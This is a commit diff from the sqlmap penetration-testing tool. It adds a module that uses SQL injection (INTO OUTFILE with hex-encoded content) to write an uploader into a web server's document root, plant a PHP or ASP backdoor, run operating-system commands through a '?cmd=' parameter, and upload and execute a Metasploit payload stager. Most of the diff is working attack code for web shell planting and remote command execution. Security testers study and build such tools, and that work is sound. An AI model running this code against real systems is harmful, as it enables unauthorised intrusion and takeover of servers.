Added automatic support in --os-pwn to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP.

Updated ChangeLog.
Major code refactoring.
This commit is contained in:
Bernardo Damele 2010-01-14 14:03:16 +00:00
parent 1febdcac9b
commit 070ccc30e9
5 changed files with 276 additions and 189 deletions

View File

@ -7,6 +7,11 @@ sqlmap (0.8-1) stable; urgency=low
* Added support to parse -C (column name(s)) when fetching
columns of a table with --columns: it will enumerate only columns like
the provided one(s) within the specified table (Bernardo).
* Added support for takeover features on PostgreSQL 8.4 (Bernardo).
* Added automatic support in --os-pwn to use the web uploader/backdoor
to upload and execute the Metasploit payload stager when stacked
queries SQL injection is not supported, for instance on MySQL/PHP and
MySQL/ASP (Bernardo).
* Added support to automatically decode deflate, gzip and x-gzip HTTP
responses (Miroslav).
* Support for NTLM authentication via python-ntlm third party library,
@ -27,6 +32,9 @@ sqlmap (0.8-1) stable; urgency=low
* Fixed URL encoding/decoding of GET/POST parameters and Cookies
(Miroslav).
* Major bugs fixed (Bernardo and Miroslav).
* Cleanup of UDF source code repository,
https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack (Bernardo
and Miroslav).
* Minor code cleanup (Miroslav).
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Mar 2010 10:00:00 +0000

View File

@ -30,9 +30,10 @@ from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF
from lib.takeover.web import Web
from lib.takeover.xp_cmdshell import xp_cmdshell
class Abstraction(UDF, xp_cmdshell):
class Abstraction(Web, UDF, xp_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
to UDF / xp_cmdshell objects
@ -42,6 +43,7 @@ class Abstraction(UDF, xp_cmdshell):
self.envInitialized = False
UDF.__init__(self)
Web.__init__(self)
xp_cmdshell.__init__(self)
def __cmdShellCleanup(self):
@ -57,7 +59,10 @@ class Abstraction(UDF, xp_cmdshell):
raise sqlmapUnsupportedFeatureException, errMsg
def execCmd(self, cmd, silent=False, forgeCmd=False):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
if self.webBackdoorUrl and not kb.stackedTest:
self.webBackdoorRunCmd(cmd, silent=True)
elif kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfExecCmd(cmd, silent=silent)
elif kb.dbms == "Microsoft SQL Server":

View File

@ -425,10 +425,10 @@ class Metasploit:
cmd = "%s &" % self.exeFilePathRemote
if self.cmdFromChurrasco:
if self.cmdFromChurrasco and kb.stackedTest:
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
if kb.dbms == "Microsoft SQL Server":
if kb.dbms == "Microsoft SQL Server" and kb.stackedTest:
cmd = self.xpCmdshellForgeCmd(cmd)
self.execCmd(cmd, silent=True)
@ -634,11 +634,19 @@ class Metasploit:
errMsg = "failed to create the payload stager (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
def uploadMsfPayloadStager(self):
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
def uploadMsfPayloadStager(self, web=False):
if web:
self.exeFilePathRemote = "./%s" % os.path.basename(self.exeFilePathLocal)
else:
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
if web:
for directory in self.webDirectories:
self.webFileUpload(self.exeFilePathLocal, self.exeFilePathRemote, directory)
else:
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
os.unlink(self.exeFilePathLocal)

229
lib/takeover/web.py Normal file
View File

@ -0,0 +1,229 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import readInput
from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.shell import autoCompletion
from lib.request.connect import Connect as Request
class Web:
"""
This class defines web-oriented OS takeover functionalities for
plugins.
"""
def __init__(self):
self.webApi = None
self.webBaseUrl = None
self.webBackdoorUrl = None
self.webUploaderUrl = None
self.webDirectories = set()
def webBackdoorRunCmd(self, cmd, silent=False):
if self.webBackdoorUrl is None:
return
output = None
if not cmd:
cmd = conf.osCmd
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
if page is not None:
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if not silent:
if output:
print output.group(1)
else:
print "No output"
return output
def webBackdoorShell(self):
if self.webBackdoorUrl is None:
return
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.webBackdoorRunCmd(command)
def webFileUpload(self, fileToUpload, destFileName, directory):
if self.webApi == "php":
multipartParams = {
"upload": "1",
"file": open(fileToUpload, "r"),
"uploadDir": directory,
}
page = Request.getPage(url=self.webUploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
elif self.webApi == "asp":
backdoorRemotePath = "%s/%s" % (directory, destFileName)
backdoorRemotePath = os.path.normpath(backdoorRemotePath)
backdoorContent = open(fileToUpload, "r").read()
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
page, _ = Request.getPage(url=self.webUploaderUrl, direct=True, post=postStr)
if "permission denied" in page.lower():
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
elif self.webApi == "jsp":
pass
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
kb.docRoot = getDocRoot()
self.webDirectories = getDirs()
self.webDirectories = list(self.webDirectories)
self.webDirectories.sort()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
message = "which web application language does the web server "
message += "support?\n"
message += "[1] ASP\n"
message += "[2] PHP (default)\n"
message += "[3] JSP"
while True:
choice = readInput(message, default="2")
if not choice or choice == "2":
self.webApi = "php"
break
elif choice == "1":
self.webApi = "asp"
break
elif choice == "3":
errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented"
raise sqlmapUnsupportedDBMSException(errMsg)
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 3:
logger.warn("invalid value, it must be 1 or 3")
backdoorName = "backdoor.%s" % self.webApi
backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.%s" % self.webApi
uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
for directory in self.webDirectories:
# Upload the uploader agent
outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
self.webUploaderUrl = "%s/%s" % (self.webBaseUrl, uploaderName)
self.webUploaderUrl = self.webUploaderUrl.replace("./", "/").replace("\\", "/")
uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in uplPage:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
infoMsg = "the uploader agent has been successfully uploaded "
infoMsg += "on '%s'" % directory
logger.info(infoMsg)
self.webFileUpload(backdoorPath, backdoorName, directory)
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % directory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg)
break

View File

@ -57,176 +57,6 @@ class Takeover(Abstraction, Metasploit, Registry):
Abstraction.__init__(self)
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
output = None
if not cmd:
cmd = conf.osCmd
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:
print output.group(1)
else:
print "No output"
return output
def __webBackdoorShell(self, backdoorUrl):
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.__webBackdoorRunCmd(backdoorUrl, command)
def __webBackdoorInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
self.checkDbmsOs()
backdoorUrl = None
language = None
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
message = "which web application language does the web server "
message += "support?\n"
message += "[1] ASP\n"
message += "[2] PHP (default)\n"
message += "[3] JSP"
while True:
choice = readInput(message, default="2")
if not choice or choice == "2":
language = "php"
break
elif choice == "1":
language = "asp"
break
elif choice == "3":
errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented"
raise sqlmapUnsupportedDBMSException(errMsg)
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 3:
logger.warn("invalid value, it must be 1 or 3")
backdoorName = "backdoor.%s" % language
backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.%s" % language
uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
for directory in directories:
# Upload the uploader agent
outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/")
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in uplPage:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
infoMsg = "the uploader agent has been successfully uploaded "
infoMsg += "on '%s'" % directory
logger.info(infoMsg)
# Upload the backdoor through the uploader agent
if language == "php":
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
elif language == "asp":
backdoorRemotePath = "%s/%s" % (directory, backdoorName)
backdoorRemotePath = os.path.normpath(backdoorRemotePath)
backdoorContent = open(backdoorPath, "r").read()
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr)
if "permission denied" in page.lower():
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
elif language == "jsp":
pass
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % directory
infoMsg += "to '%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg)
break
return backdoorUrl
def uploadChurrasco(self):
msg = "do you want sqlmap to upload Churrasco and call the "
msg += "Metasploit payload stager as its argument so that it "
@ -250,14 +80,11 @@ class Takeover(Abstraction, Metasploit, Registry):
stackedTest()
if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg)
backdoorUrl = self.__webBackdoorInit()
if backdoorUrl:
self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
self.webInit()
self.webBackdoorRunCmd(conf.osCmd)
else:
self.initEnv()
self.runCmd(conf.osCmd)
@ -266,14 +93,11 @@ class Takeover(Abstraction, Metasploit, Registry):
stackedTest()
if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg)
backdoorUrl = self.__webBackdoorInit()
if backdoorUrl:
self.__webBackdoorShell(backdoorUrl)
self.webInit()
self.webBackdoorShell()
else:
self.initEnv()
self.absOsShell()
@ -282,6 +106,19 @@ class Takeover(Abstraction, Metasploit, Registry):
stackedTest()
if not kb.stackedTest:
infoMsg = "going to use a web backdoor to execute the "
infoMsg += "payload stager"
logger.info(infoMsg)
self.webInit()
if self.webBackdoorUrl:
self.getRemoteTempPath()
self.createMsfPayloadStager()
self.uploadMsfPayloadStager(web=True)
self.pwn()
return
self.initEnv()